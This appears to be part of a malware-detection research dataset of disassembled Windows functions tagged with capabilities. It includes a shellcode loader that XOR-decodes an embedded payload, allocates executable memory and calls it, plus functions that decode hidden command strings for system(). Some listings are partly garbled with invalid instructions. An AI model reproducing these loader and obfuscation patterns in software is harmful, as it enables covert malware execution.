joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400072b0
Capabilities:
Accept command line arguments
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x2110
call fcn.14000b1b0
sub rsp, rax
mov rax, qword [0x14003e018]
xor rax, rsp
mov qword [rsp + 0x2100], rax
mov rdx, rcx
xor edi, edi
lea rcx, [rsp + 0x100]
mov dword [rsp + 0x50], edi
mov r8d, 0x1000
call fcn.140007fe0
mov ebx, 1
lea rcx, [0x140006630]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add bh, al
and al, 0x58
sbb byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x68], ebx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
add byte [rdi], cl
push rdi
ror byte [rax - 0x77], 0xbc
and al, 0x98
add byte [rax], al
add byte [rbx], dh
leave
movdqa xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0xcc], 0x101
mov word [rsp + 0xd0], bx
call fcn.1400153c0
mov rcx, rax
call fcn.14001ac44
mov ecx, eax
call fcn.140018864
cmp rax, 0xffffffffffffffff
mov ecx, ebx
cmove rax, rdi
mov qword [rsp + 0xe0], rax
call fcn.1400153c0
mov rcx, rax
call fcn.14001ac44
mov ecx, eax
call fcn.140018864
cmp rax, 0xffffffffffffffff
lea ecx, [rdi + 2]
cmove rax, rdi
mov qword [rsp + 0xe8], rax
call fcn.1400153c0
mov rcx, rax
call fcn.14001ac44
mov ecx, eax
call fcn.140018864
cmp rax, 0xffffffffffffffff
cmove rax, rdi
mov qword [rsp + 0xf0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
add byte [rbp + 0x33], al
leave
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rsp + 0x100]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140007430
mov rcx, qword [rsp + 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x50]
invalid
invalid
invalid
invalid
invalid
Function at 0x140007c90
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x2070
call fcn.14000b1b0
sub rsp, rax
mov rax, qword [0x14003e018]
xor rax, rsp
mov qword [rsp + 0x2060], rax
xor ebx, ebx
mov qword [rsp + 0x38], 0xffffffffffffffff
mov qword [rsp + 0x40], rbx
mov rdi, rcx
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add byte [rax - 0x75], cl
enter 0xffffffffffff8d4c, 0x44
and al, 0x38
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007d61
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edx, [rbx + 1]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140007d18
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140007d61
mov edx, dword [rsp + 0x30]
mov ecx, 1
call fcn.1400151e0
mov rbx, rax
test rax, rax
je 0x140007d61
mov r9d, dword [rsp + 0x30]
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov r8, rbx
mov edx, 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140007d61
mov rcx, qword [rbx]
lea rdx, [rsp + 0x40]
call sub.ADVAPI32.dll_ConvertSidToStringSidW
mov rcx, rbx
call fcn.1400151e8
mov rcx, qword [rsp + 0x38]
cmp rcx, 0xffffffffffffffff
je 0x140007d7a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x40]
lea r9, str.S_1_3_4
test rbx, rbx
lea r8, str.D:_A__FA____s_
mov edx, 0x1000
lea rcx, [rsp + 0x60]
cmovne r9, rbx
call fcn.1400078e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor r9d, r9d
mov dword [rsp + 0x48], 0x18
lea r8, [rsp + 0x50]
mov dword [rsp + 0x58], 0
lea rcx, [rsp + 0x60]
lea edx, [r9 + 1]
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
je 0x140007dee
lea rdx, [rsp + 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add bh, dh
fcomp dword [rbx]
sal bh, 0xd8
dec eax
jmp 0x140007df3
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x2060]
xor rcx, rsp
call fcn.14000b210
mov rbx, qword [rsp + 0x2088]
add rsp, 0x2070
pop rdi
ret
Function at 0x14000b230
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
invalid
invalid
jg 0x14000b245
invalid

Function at 0x14000bc30
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bc7a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bc7a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bc7a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bc7a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bc7a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bc7c
xor al, al
add rsp, 0x28
ret

Function at 0x140015e10
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x14003e018]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x140032470]
mov rbp, rcx
call fcn.14001fb70
xor edi, edi
test rax, rax
je 0x140015ef6
mov ebx, edi
call fcn.140017bb8
mov r14d, dword [rax]
call fcn.140017bb8
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.1400164e8
mov rsi, rax
test rax, rax
je 0x140015e87
call fcn.140017bb8
mov dword [rax], r14d
jmp 0x140015eb1
call fcn.140017bb8
cmp dword [rax], 0x22
jne 0x140015eee
call fcn.140017bb8
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.1400164e8
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140015eee
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x140015eb5
cmp rax, 3
je 0x140015ed0
mov rcx, rsi
call fcn.140015d6c
test al, al
je 0x140015ee1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x140015ee1
mov dil, 1
mov rcx, rbx
call fcn.1400151e8
mov al, dil
jmp 0x140015ef8
mov rcx, rbx
call fcn.1400151e8
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b210
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140018058
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140018078
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140017b2c
or eax, 0xffffffff
jmp 0x14001807a
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400188dc
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400188fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140017b2c
or eax, 0xffffffff
jmp 0x1400188fe
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001005
Capabilities:
Execute shellcode via indirect call

Disassembly:
jmp 0x140001360
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x590
lea rcx, [rsp + 0x20]
mov r8d, 0x564
lea rdx, [0x140006c80]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0xac8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0x564
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov r9d, 2
lea r8, [rdi + 1]
mov r10d, 0xe6
lea r11, str.jp0LSqg8D_:x
nop dword [rax]
lea ecx, [r9 - 2]
mov eax, 0x2aaaaaab
imul ecx
lea r8, [r8 + 6]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 - 1]
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
mov eax, 0x2aaaaaab
imul r9d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*2]
shl ecx, 2
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + r11]
lea ecx, [r9 + 1]
xor byte [r8 - 5], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 + 2]
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 + 3]
add r9d, 6
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
sub r10, 1
jne 0x1400013c0
mov edx, 0x564
lea rcx, str.___Allocating__d_bytes_of_memory_n
call fcn.1400010b9
xor ecx, ecx
mov edx, 0x564
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001508
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x5a0]
add rsp, 0x590
pop rdi
ret
mov r8d, 0x564
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
setne al
test al, al
jne 0x140001545
lea rcx, str.____Oh_gosh__something_went_wrong__n
call fcn.1400010b9
mov eax, 0xfffffffe
mov rbx, qword [rsp + 0x5a0]
add rsp, 0x590
pop rdi
ret
lea rcx, str.___Executing_n
call fcn.1400010b9
call rbx
xor edx, edx
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
call fcn.1400010b9
mov rbx, qword [rsp + 0x5a0]
xor eax, eax
add rsp, 0x590
pop rdi
ret
Function at 0x14000100f
Capabilities:
Terminate process

Disassembly:
jmp 0x140001acc
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.14000116d
test al, al
je 0x140001993
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.1400010eb
mov bl, al
mov ecx, dword [0x140008160]
cmp ecx, 1
je 0x14000199e
test ecx, ecx
jne 0x1400018c9
mov dword [0x140008160], 1
lea rdx, [0x140006660]
lea rcx, [0x140006330]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x1400018aa
mov eax, 0xff
jmp 0x140001983
lea rdx, [0x140006220]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x140008160], 2
jmp 0x1400018d1
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.1400011a4
call fcn.1400010c3
mov rbx, rax
cmp qword [rax], 0
je 0x140001904
mov rcx, rax
call fcn.140001118
test al, al
je 0x140001904
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x14000b010]
call fcn.1400010e6
mov rbx, rax
cmp qword [rax], 0
je 0x140001926
mov rcx, rax
call fcn.140001118
test al, al
je 0x140001926
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rdi, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov rbx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov r8, rax
mov rdx, rdi
mov ecx, dword [rbx]
call fcn.140001096
mov ebx, eax
call fcn.140001154
test al, al
je 0x1400019a8
test sil, sil
jne 0x14000195d
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.140001159
mov eax, ebx
jmp 0x140001983
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.140001113
nop
mov ecx, 7
call fcn.140001113
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.140001181
add rsp, 0x28
jmp 0x14000183c

Function at 0x140001118
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140001f0c
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140001f9a
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140001f9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f9a
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140001f81
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140001f7b
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140001f83
add rdx, 0x28
jmp 0x140001f60
xor edx, edx
test rdx, rdx
jne 0x140001f8c
xor al, al
jmp 0x140001fa0
cmp dword [rdx + 0x24], 0
jge 0x140001f96
xor al, al
jmp 0x140001fa0
mov al, 1
jmp 0x140001fa0
xor al, al
jmp 0x140001fa0
add rsp, 0x18
ret
Function at 0x140001154
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400024fc
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002547
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002547
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002547
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002547
cmp dword [rcx + 0x84], 0xe
jbe 0x140002547
cmp dword [rcx + 0xf8], 0
je 0x140002547
mov al, 1
jmp 0x140002549
xor al, al
add rsp, 0x28
ret
Function at 0x140001360
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
jmp 0x140001360
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x590
lea rcx, [rsp + 0x20]
mov r8d, 0x564
lea rdx, [0x140006c80]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0xac8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0x564
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov r9d, 2
lea r8, [rdi + 1]
mov r10d, 0xe6
lea r11, str.jp0LSqg8D_:x
nop dword [rax]
lea ecx, [r9 - 2]
mov eax, 0x2aaaaaab
imul ecx
lea r8, [r8 + 6]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 - 1]
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
mov eax, 0x2aaaaaab
imul r9d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*2]
shl ecx, 2
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + r11]
lea ecx, [r9 + 1]
xor byte [r8 - 5], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 + 2]
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 + 3]
add r9d, 6
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
sub r10, 1
jne 0x1400013c0
mov edx, 0x564
lea rcx, str.___Allocating__d_bytes_of_memory_n
call fcn.1400010b9
xor ecx, ecx
mov edx, 0x564
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001508
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x5a0]
add rsp, 0x590
pop rdi
ret
mov r8d, 0x564
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
setne al
test al, al
jne 0x140001545
lea rcx, str.____Oh_gosh__something_went_wrong__n
call fcn.1400010b9
mov eax, 0xfffffffe
mov rbx, qword [rsp + 0x5a0]
add rsp, 0x590
pop rdi
ret
lea rcx, str.___Executing_n
call fcn.1400010b9
call rbx
xor edx, edx
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
call fcn.1400010b9
mov rbx, qword [rsp + 0x5a0]
xor eax, eax
add rsp, 0x590
pop rdi
ret
Function at 0x1400018b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x1400715e0]
xor ebx, ebx
movdqa xmm1, xmmword [0x140071610]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x6b214874
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0xc], 0x100171d
nop dword [rax]
lea eax, [rcx - 4]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x26
jb 0x1400018f0
lea rcx, [rbp - 0x30]
mov byte [rbp - 9], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140071620]
mov rcx, rbx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x5c7d7a63
mov dword [rbp - 0x1c], 0x76666269
mov dword [rbp - 0x18], 0x3d242679
mov word [rbp - 0x14], 0x100
nop dword [rax + rax]
lea eax, [rcx - 4]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x140001940
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x13], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140071510]
movdqa xmm1, xmmword [str.dc_cgqfb9a]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 1
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax + rax]
lea eax, [rbx - 4]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1f
jb 0x140001980
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x10], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400019b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x140071620]
xor ebx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov ecx, ebx
mov dword [rbp - 0x20], 0x5c7d7a63
mov dword [rbp - 0x1c], 0x76666269
mov dword [rbp - 0x18], 0x3d242679
mov word [rbp - 0x14], 0x100
nop dword [rax]
lea eax, [rcx - 4]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x1400019f0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x13], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140071510]
movdqa xmm1, xmmword [str.dc_cgqfb9a]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 1
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax + rax]
lea eax, [rbx - 4]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1f
jb 0x140001a30
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x10], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x1400067f0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14008c098]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400068c3
cmp byte [rcx + 0x71], 0
je 0x1400068c3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x1400068bf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006884
sub eax, 1
je 0x140006888
cmp eax, 2
jne 0x1400068bf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006d2c0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400068b6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400068bf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000686c
xor al, al
jmp 0x14000686c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006d2c0
add rsp, 0x60
pop rbx
ret

Function at 0x140007280
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x140071d20]
xor ebx, ebx
movdqa xmm1, xmmword [0x140071da0]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x54204b75
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0xc], 0x100141c
nop dword [rax]
lea eax, [rcx - 3]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x26
jb 0x1400072c0
lea rcx, [rbp - 0x30]
mov byte [rbp - 9], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140071d40]
mov rcx, rbx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x437c7962
mov dword [rbp - 0x1c], 0x71676168
mov dword [rbp - 0x18], 0x32252578
mov word [rbp - 0x14], 0x100
nop dword [rax + rax]
lea eax, [rcx - 3]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x140007310
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x13], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140071bb0]
movdqa xmm1, xmmword [str._gb0bdpzec6b]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x10], 1
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax + rax]
lea eax, [rbx - 3]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x1f
jb 0x140007350
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x10], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140007380
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x31], 0
je 0x1400073a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 3]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x30
jb 0x140007390
mov byte [rcx + 0x31], 0
mov rax, rcx
ret